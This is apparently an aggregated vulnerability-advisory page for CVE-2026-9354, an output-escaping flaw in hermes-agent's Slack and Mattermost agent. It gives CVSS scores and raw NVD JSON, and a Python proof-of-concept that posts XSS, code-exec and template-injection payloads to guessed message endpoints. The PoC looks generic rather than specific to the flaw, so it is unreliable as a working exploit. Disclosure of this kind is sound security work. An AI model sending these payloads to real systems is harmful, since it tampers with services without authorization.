Security Vulnerability Report
中文
CVE-2026-9354 CVSS 6.5 MEDIUM

CVE-2026-9354

Published: 2026-05-24 05:16:41
Last Modified: 2026-05-26 19:50:22

Description

A vulnerability was detected in NousResearch hermes-agent up to 2026.4.16. The affected element is an unknown function of the component Slack Agent/Mattermost Agent. The manipulation of the argument format_message results in escaping of output. The attack can be executed remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

NousResearch hermes-agent <= 2026.4.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9354 PoC - Hermes-agent format_message Output Escaping # Target: NousResearch hermes-agent <= 2026.4.16 # Component: Slack Agent / Mattermost Agent import requests import json TARGET_URL = "http://target-server:port/api/agent/slack/message" TARGET_URL_MATTER = "http://target-server:port/api/agent/mattermost/message" def exploit_format_message(target_url, malicious_payload): """ Send malicious format_message payload to the vulnerable endpoint """ headers = { "Content-Type": "application/json", "User-Agent": "Hermes-Agent-PoC" } # Malicious payload exploiting format_message escaping payload = { "channel": "#general", "format_message": malicious_payload, "user_id": "attacker" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Payload sent to {target_url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): # Example payloads for format_message escaping payloads = [ "<script>alert('XSS')</script>", "${exec('id')}", "{{.}}{{range .}}{{end}}", "\x00\x1b[31mMalicious Text\x1b[0m" ] print("[*] CVE-2026-9354 Hermes-agent format_message Exploitation") print("[*] Target: Slack/Mattermost Agent") print("="*60) for payload in payloads: print(f"\n[*] Testing payload: {payload}") exploit_format_message(TARGET_URL, payload) exploit_format_message(TARGET_URL_MATTER, payload) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9354", "sourceIdentifier": "[email protected]", "published": "2026-05-24T05:16:40.537", "lastModified": "2026-05-26T19:50:21.747", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in NousResearch hermes-agent up to 2026.4.16. The affected element is an unknown function of the component Slack Agent/Mattermost Agent. The manipulation of the argument format_message results in escaping of output. The attack can be executed remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:P", "baseScore": 6.4, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 4.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-116"}]}], "references": [{"url": "https://gist.github.com/YLChen-007/e90fb38ac03284176bae49898a3a46a4", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/812226", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365317", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365317/cti", "source": "[email protected]"}]}}